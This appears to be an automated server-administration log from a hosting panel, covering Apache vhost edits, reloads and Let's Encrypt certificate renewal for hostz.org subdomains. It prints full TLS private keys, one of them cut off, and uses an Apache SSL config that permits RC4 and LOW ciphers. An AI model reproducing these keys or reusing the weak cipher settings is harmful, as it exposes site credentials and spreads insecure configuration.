fi
rm $temp_file
2025-12-13 06:00:18:
chmod 755 /tmp/pkp666629; /tmp/pkp666629; rm /tmp/pkp666629
2025-12-13 06:00:19:
dir=/etc/ssl/certs
2025-12-13 06:00:19:
PUT: /tmp/pkp672785
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/pjy_earth_us.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-13 06:00:19:
chmod 755 /tmp/pkp672785; /tmp/pkp672785; rm /tmp/pkp672785
2025-12-13 06:00:19:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_earth_us.conf 36
ExtendedStatus on
<VirtualHost *:80>
ServerName earth.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_earth
<Directory /var/www/hostz_earth>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/earth_access.log combined
ErrorLog /var/log/apache2/pjy/earth_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteCond %{REQUEST_URI} !/event
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName earth.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
DocumentRoot /var/www/hostz_earth
<Directory /var/www/hostz_earth>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<Location /server-status>
SetHandler server-status
AuthType Basic
AuthName "Server Status"
AuthUserFile /var/www/hostz_earth/.htpasswd
require valid-user
</Location>
CustomLog /var/log/apache2/pjy/earth_secure_access.log combined
ErrorLog /var/log/apache2/pjy/earth_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-13 06:00:19:
PUT: /tmp/pkp366546
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_earth_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_earth_us.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
ExtendedStatus on
<VirtualHost *:80>
ServerName earth.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_earth
<Directory /var/www/hostz_earth>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/earth_access.log combined
ErrorLog /var/log/apache2/pjy/earth_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteCond %{REQUEST_URI} !/event
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName earth.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
DocumentRoot /var/www/hostz_earth
<Directory /var/www/hostz_earth>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<Location /server-status>
SetHandler server-status
AuthType Basic
AuthName "Server Status"
AuthUserFile /var/www/hostz_earth/.htpasswd
require valid-user
</Location>
CustomLog /var/log/apache2/pjy/earth_secure_access.log combined
ErrorLog /var/log/apache2/pjy/earth_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/pjy_earth_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/pjy_earth_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_earth_us.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_earth_us.conf= 1'
fi
2025-12-13 06:00:20:
chmod 755 /tmp/pkp366546; /tmp/pkp366546; rm /tmp/pkp366546
2025-12-13 06:00:20:
2025-12-13 06:00:20:
PUT: /tmp/pkp680976
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-13 06:00:21:
chmod 755 /tmp/pkp680976; /tmp/pkp680976; rm /tmp/pkp680976
2025-12-13 06:00:21:
.
2025-12-13 06:00:21: Establishing a connection
2025-12-13 06:00:22:
PUT: /tmp/pkp270978
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-12-13 06:00:23:
chmod 755 /tmp/pkp270978; /tmp/pkp270978; rm /tmp/pkp270978
2025-12-13 06:00:24:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:2)
alias www.carelinks.net
port 80 namevhost carelinks.org (/etc/apache2/sites-enabled/carelinks_www_org.conf:2)
alias www.carelinks.org
port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
alias www.persianchurch.info
port 80 namevhost earth.hostz.org (/etc/apache2/sites-enabled/pjy_earth_us.conf:3)
*:443 is a NameVirtualHost
default server carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:20)
port 443 namevhost carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:20)
alias www.carelinks.net
port 443 namevhost carelinks.org (/etc/apache2/sites-enabled/carelinks_www_org.conf:20)
port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
alias www.persianchurch.info
port 443 namevhost earth.hostz.org (/etc/apache2/sites-enabled/pjy_earth_us.conf:24)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2025-12-13 06:00:24:
PUT: /tmp/pkp304379
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/pjy_earth_us.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-13 06:00:24:
chmod 755 /tmp/pkp304379; /tmp/pkp304379; rm /tmp/pkp304379
2025-12-13 06:00:25:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_earth_us.conf 1555
ExtendedStatus on
<VirtualHost *:80>
ServerName earth.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_earth
<Directory /var/www/hostz_earth>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/earth_access.log combined
ErrorLog /var/log/apache2/pjy/earth_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteCond %{REQUEST_URI} !/event
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName earth.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
DocumentRoot /var/www/hostz_earth
<Directory /var/www/hostz_earth>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<Location /server-status>
SetHandler server-status
AuthType Basic
AuthName "Server Status"
AuthUserFile /var/www/hostz_earth/.htpasswd
require valid-user
</Location>
CustomLog /var/log/apache2/pjy/earth_secure_access.log combined
ErrorLog /var/log/apache2/pjy/earth_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-13 06:00:25:
PUT: /tmp/pkp960563
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-13 06:00:25:
chmod 755 /tmp/pkp960563; /tmp/pkp960563; rm /tmp/pkp960563
2025-12-13 06:00:25:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d 5361
7e:6d:1d:c7:8e:1f:c7:35:aa:0f:42:ae:7f:d3:c0:c8
-----BEGIN CERTIFICATE-----
MIIFBDCCA+ygAwIBAgISBZQBtIgrmuVw1O4avHJnbOVyMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjEzMDUwMTQzWhcNMjYwMzEzMDUwMTQyWjAaMRgwFgYDVQQD
Ew9lYXJ0aC5ob3N0ei5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQC2zOKPTjOiGI77JdOZEiJwh4Ref9Pkz5hRLhPPYF5kEqdKDHmjh2xb0mVgysqe
24dSiPDerSxntpHhozkLWy5CqE7Va7adno9I2G5432/5Rb+Ui+8JQYim/tHl0pE0
dsrW/Vy/Ec7LIuQ/83q9yWkGuqRHZgzc1MAN/rGG0JAOmDrFG9gEMyG5tpciA+2i
DT53UgCqpuM8PjBUhVIQ6FnpZHkTrwQzbooVwvp81CIpDziuxKEQisWIYVUUsPSM
8fXIqMMmZ1vxxYt9SvZNIu8xscDCy/bRFixxDUWmy85eRMxSqxFpExQDAcs4mY9s
563i67TusQfT8c22TBN79E1JAgMBAAGjggIpMIICJTAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFCnXV/ckVnt1zJ5vAeV6cgn1HlQvMB8GA1UdIwQYMBaAFAC1KfItjm8x
6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMi5pLmxlbmNyLm9yZy8wGgYDVR0RBBMwEYIPZWFydGguaG9zdHoub3JnMBMG
A1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTIu
Yy5sZW5jci5vcmcvMTE1LmNybDCCAQ0GCisGAQQB1nkCBAIEgf4EgfsA+QB3AEmc
m2neHXzs/DbezYdkprhbrwqHgBnRVVL76esp3fjDAAABmxZLnl0AAAQDAEgwRgIh
AN/Rv8McrS8PZ44PfbiNiJt2TN413tF1V6AT6RXuU8KqAiEA6IGPJ3KU7o+mGsCe
0BHA/NMrQwC9i4s8Sh5eBJh8fA8AfgDjI43yjaKI4KrgrPD6kMmF8La/9dKlJ7AB
/BxEWMS26AAAAZsWS5/TAAgAAAUAK/513wQDAEcwRQIgBUO+UXa8EHUDKWd42in3
3O16kcuZYsrD1TksrAUBKbgCIQDgnQXnb5TXzdcS5L0Wx3ipgJSiKihbc2uNGhnZ
TSQ9xjANBgkqhkiG9w0BAQsFAAOCAQEAcP6ZkXHY5TukkNhseg5b5ydsAfE7tEa9
N4U6mH4HvbjkNhhYDveHoXDhAKoUkPo2bsaD1Uqslq+fqm0FJHj+HApzbN8ZuV6A
7FOdV3L1vuBJ8xJ3FOx6yhFxVsie62OX7Khn1ltncrH32h0Q4ij+SiqtpKlWIlCV
g4CCoDCfv62E+s+GaNBLzTYglbo1cMQfK498hLbVWU2Zl5bOt6YntBsMnonti5O2
0iQvSLVoppTBRfVMSL+jWWXcNUqC/53RR34V/7Ob9Ryhf0wnZkOQesZa2KY1gbfI
4Y+atjq2A3pVNGRTYj736ccsvuIAN9oieM7A4IlCGcSS26CzodZ0OQ==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC2zOKPTjOiGI77
JdOZEiJwh4Ref9Pkz5hRLhPPYF5kEqdKDHmjh2xb0mVgysqe24dSiPDerSxntpHh
ozkLWy5CqE7Va7adno9I2G5432/5Rb+Ui+8JQYim/tHl0pE0dsrW/Vy/Ec7LIuQ/
83q9yWkGuqRHZgzc1MAN/rGG0JAOmDrFG9gEMyG5tpciA+2iDT53UgCqpuM8PjBU
hVIQ6FnpZHkTrwQzbooVwvp81CIpDziuxKEQisWIYVUUsPSM8fXIqMMmZ1vxxYt9
SvZNIu8xscDCy/bRFixxDUWmy85eRMxSqxFpExQDAcs4mY9s563i67TusQfT8c22
TBN79E1JAgMBAAECggEAeWcnDG+uYPgYdXmQxzdBAiUuZyhUDMFGcpu8clyZM7Mj
wUz5t/5nm6/mvlrQKKK5g7oI5opyVErvJcCmUQF0fraS7LDFrnawyHtdGw+hqRaG
ftxUm3wXinjv48dtwj8mxZOs9gSYp1Z76nEE0miiROLN2dFPt5XgGytMsbFwCxAz
jcIt+F7ceha7CAUNQOtZFdINjrkd3gTFeOy252jaViwLFoC5Et8yg79eK3+keypc
OajGiNR8j0JXt6r43rqCHdkpzuNnP+3LDFV29zTMJL7WbBzGMXQILGL3n8TgTgC9
dVKN/XT6Oa+/aCXpjiheDy37DWxN5w0JlpCs1XstgQKBgQDzs4eQ+I+R/RRHQ6zO
CkrFw9dS0LwqrAs+2bI3Eg1oM1Wl+VwpqEUOud5Tvh0s8cEloSJtOplHNGcfBhK+
xLSsc1Me8UQiIx5LMWfYbVw8KOwotAIvDu91/mq07bfEo7ZhWxydX3umuGUQtILd
RZz584ALwDtGFrA+jCeglNFgkQKBgQDABo15WSSMLD/Ym3KQ0jbPoBqqFRgnR3fi
qmaB1f8lvAUKt30yyGyK4AmZvElh4ZMX9t8bKhYj0P+3b7Dnn1F/LxKUoG+QM4SY
sQB/8ngzT3nBMEoBRKKJNBaj4ZIX+xJ59wVqC1+0rempDctjf1XIXW5jezI1rsUW
YX5Igb99OQKBgFli0iikYtSjRRrWgb2ZHM/pA0OG+F2WeRF2e92jK3O60IFuMxW8
eIfsONXyd3USv0t0DNKPmcT6PZCtg5ahQ7u1GRnSWLFEvEnMN1C03A3c3LIZRGvK
SJ640J7ISo0/lxeieZ5ndU0zeS5lZ1KNxAQSAjdNLPCKRd7LPYWy0BFhAoGBAKnW
IdKuETEZAe8mrZGBG5FPXcYImjBDebk0VS2Ig/5v6VWtLEJ6GeZKeLNMYOr9hAey
BWoVMzfCZilr099IfeArVhe2PnYf2qriAjsnzUA0js9bUlkEx2zqcQvJOlmTaqgM
3vEH1kILf5pR5Q2/VbO9TyEVmTb5uL8uw26Fs0OhAoGATCoF+HpO9TOIJl0WyG5u
QqbxPqxN0M1XYalnb4M7iO098L2DY50kvbufi8dJOejbYcamzsyfrXndgE7beMQC
c4Lgyetk2wAeBIwW9uv9SR/kb/fucRDNAJtiD1CVRQsZP50ZA/tAG0Vb4CqHi1xM
vMVhiqRNI4oLKAKvreM74qo=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-12-13 06:00:26: Establishing a connection
2025-12-13 06:00:26: Establishing a connection
2025-12-13 06:00:26:
PUT: /tmp/pkp974799
#!/bin/bash
if [ -d "/var/www/hostz_mars/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-13 06:00:27:
chmod 755 /tmp/pkp974799; /tmp/pkp974799; rm /tmp/pkp974799
2025-12-13 06:00:27:
1
2025-12-13 06:00:27: Establishing a connection
2025-12-13 06:00:27:
PUT: /tmp/pkp224201
#!/bin/bash
mkdir -p "/var/www/hostz_mars/.well-known/acme-challenge/"
cd "/var/www/hostz_mars/.well-known/acme-challenge/"
cat > ebNVTXosOUr191GlxvBZH2I2OPCVND11i2YshknPSg4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
ebNVTXosOUr191GlxvBZH2I2OPCVND11i2YshknPSg4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 ebNVTXosOUr191GlxvBZH2I2OPCVND11i2YshknPSg4
2025-12-13 06:00:27:
chmod 755 /tmp/pkp224201; /tmp/pkp224201; rm /tmp/pkp224201
2025-12-13 06:00:27:
2025-12-13 06:00:31: Establishing a connection
2025-12-13 06:00:31:
PUT: /tmp/pkp146754
#!/bin/bash
mkdir -p "/var/www/hostz_mars/.well-known/acme-challenge/"
cd "/var/www/hostz_mars/.well-known/acme-challenge/"
rm ebNVTXosOUr191GlxvBZH2I2OPCVND11i2YshknPSg4
2025-12-13 06:00:31:
chmod 755 /tmp/pkp146754; /tmp/pkp146754; rm /tmp/pkp146754
2025-12-13 06:00:31:
2025-12-13 06:00:31: Establishing a connection
2025-12-13 06:00:31:
PUT: /tmp/pkp309121
#!/bin/bash
temp_file=$(mktemp)
TARGET=ecea81f90eb664107ec66742d2c0036d
cat > $temp_file <<'endmsg'
15:65:88:fd:01:7f:5e:8a:c1:74:6a:5e:78:e7:17:ca
-----BEGIN CERTIFICATE-----
MIIFADCCA+igAwIBAgISBemre6i6wEiWDdHI5veIf7UlMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjEzMDUwMjAwWhcNMjYwMzEzMDUwMTU5WjAZMRcwFQYDVQQD
Ew5tYXJzLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
ALSETbZvitWByvNLdqFd2+Y1jqtvN+gSn6yaQRj9pxYECIJIwWhEfByzGoVYjidb
uMcapXLL2nE9kEXZjB651N7cFk8YnAXIUqpvyLXSs4VUz0a0dX46UeNdhFpt4lis
8MrDT2nI36aCLvgwuwh7QT+ddtLtvYV0om9hFKBC3LpkPKdxj3aEScxkyWeIpL79
1KTpB19qtpRCRrIG4KXSlmgOOJ8zhyVQ4RF825P/W0M0V+bAWzP5xNIHr4U1jY5G
kYHkNfGuN1VXrKFRX8/CB72N4rVdphFe0wSnnj0UCeqrXy8K+Ljo0TmKre0tCLta
gQEgllJ40nFdBjVUgPlR98UCAwEAAaOCAiYwggIiMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQU1ivQpnSksIDLZGOASliLk7BqdE4wHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAZBgNVHREEEjAQgg5tYXJzLmhvc3R6Lm9yZzATBgNV
HSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEzLmMu
bGVuY3Iub3JnLzM4LmNybDCCAQwGCisGAQQB1nkCBAIEgf0EgfoA+AB2AEmcm2ne
HXzs/DbezYdkprhbrwqHgBnRVVL76esp3fjDAAABmxZL4YkAAAQDAEcwRQIhAJlz
Dq0BuCWtIv3Y7s46+53/jLilotOf8AKlkrzT5tJpAiAW9GBUjfehU3kySZCNCl32
XQhyh7e1PP7sRIlH/ZOeNAB+AKXJeJJdV0YXgocN2IlmC1xVZIt9AEDy7AdoUdGI
aRn3AAABmxZL424ACAAABQArhge+BAMARzBFAiAKRJ7u7oppvbX/HLCDUw0z9yUr
uGJkAuOiBvV54BOGWwIhAIkFBdM0F6JZ11Y+6+fFMI0YlQegeAIyhG8LCVac4BsA
MA0GCSqGSIb3DQEBCwUAA4IBAQCPd1ZqpL2NAuPAm33yEvKv76V6Db0lcwRBTSU5
m7XTW8uxtbcMfqiqK/iaYjMrWYAYbKxiBx3nRlma1R3IUnIHfxhueLO4R/JoH9d4
ftVK0I9OY6104feDUR+uz3XT80PvDnwvV8LwvfAOkl8MCprPUphButwL0V9kkent
1Vk2CNJq8+yCMDzGgKEe90rVnKOeN7LTaXT3h0HwopH97yvp1pTdFgDdTojVhhON
dneopW3Dniks+so1dDy5CyrXKPRpqxERENdUHuqEsXG7QvmhT8fjA7Th1K2XEp6V
TJ8hFX3LNXjTSZ5xtICYdC6GQr5JLrLb8W7yzf4KSUb39CE4
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC0hE22b4rVgcrz
S3ahXdvmNY6rbzfoEp+smkEY/acWBAiCSMFoRHwcsxqFWI4nW7jHGqVyy9pxPZBF
2YweudTe3BZPGJwFyFKqb8i10rOFVM9GtHV+OlHjXYRabeJYrPDKw09pyN+mgi74
MLsIe0E/nXbS7b2FdKJvYRSgQty6ZDyncY92hEnMZMlniKS+/dSk6QdfaraUQkay
BuCl0pZoDjifM4clUOERfNuT/1tDNFfmwFsz+cTSB6+FNY2ORpGB5DXxrjdVV6yh
UV/Pwge9jeK1XaYRXtMEp549FAnqq18vCvi46NE5iq3tLQi7WoEBIJZSeNJxXQY1
VID5UffFAgMBAAECggEBAJMp2QEF5jUxXvcBanEbR45h0zHHtdgodqwMBU4OXA0C
tL0h+yq5ykTLbq+PBjTn/bez7XWs4yS2f8uyEx1pejVFT5qkAW5lZZ81CnfQkjH8
dg66R57khKXLM39VXdXVB2kF2NPwwwPH1erYL2I2uXbXNGu5DWyjLVmH13zfhXsd
pWSXZ4jZ+nKP+zC+roNow3nKLkPf/Dng+q3ma8UxSxa7xncP6g8d+l4j7ddM6WS5
dAMTZy4TXjOLzY5dBhS6EqedRTCXrpXii+b/KoK47U/hVkWpbXgLFpDbCsiL5x30
UJNKahibRjYR0qd9sjiq/l9w7H8o0iYPBKmzzQEht4ECgYEA5XCW1+ndiv4PX9s8
EHLD+774TYZJjYmI279quvv6sreGHD9Z7NYLav/mW+9sQE8tZSGvoNeuDNj9QuDh
Jodu8hwZFvEcWntsd5WHc/jQQ2ByK+l5LRnPTXFCBRPYz2h6stqo2ahFc19+rBSu
fTb6CtksNKpqvEAhrZ7ZHYwTsD0CgYEAyWnjuXIUfjuzxvWlQ4qdXMRfbaw2fdep
DB6q0fyT6AVdoh7FJbVeSw9G5wI5wAqIlV8WAcj5TbjJaHj2wV3kt0oePXebAkF3
luZwUCUzqNZlpWYG118hhAYKQUSRfwmGGl0IMBu1ozAVNBLLqSLpdu4iXGeTCOpo
bjkGxQPzlikCgYA2mMscR+dTCs/HxJiPZW/jePcHI5xfFMo/WFZidlGas3czQ5P3
epuu84Pyfo+o4e5wcUqkoI4nOn9RqceJ7pJlBHCn9+oCUfpmnmtkGmIclle0wVL3
e3vL9tZ59NYTzM3dv5CMcrFMGf4/npBC9ZEcgb82LRNHBo+9C96oXEvXFQKBgGK2
ux2Qg+q6aAoDKtRHg4iL1hlyZeKXaArAnQf9up/kwVdLrWQl1+kBu8ZMmPE+OGK9
D5QgY89r2YqSfp2W3xnWAawuipI4c9xJZJJjKUZ+jaLatk+oGE0UiMIkUQrqKAeT
wQeTDRrF3h5/d8GVksbvP3f6a13bRQOAf4jfvurBAoGBANaTsqADHx9IHWpSA0mh
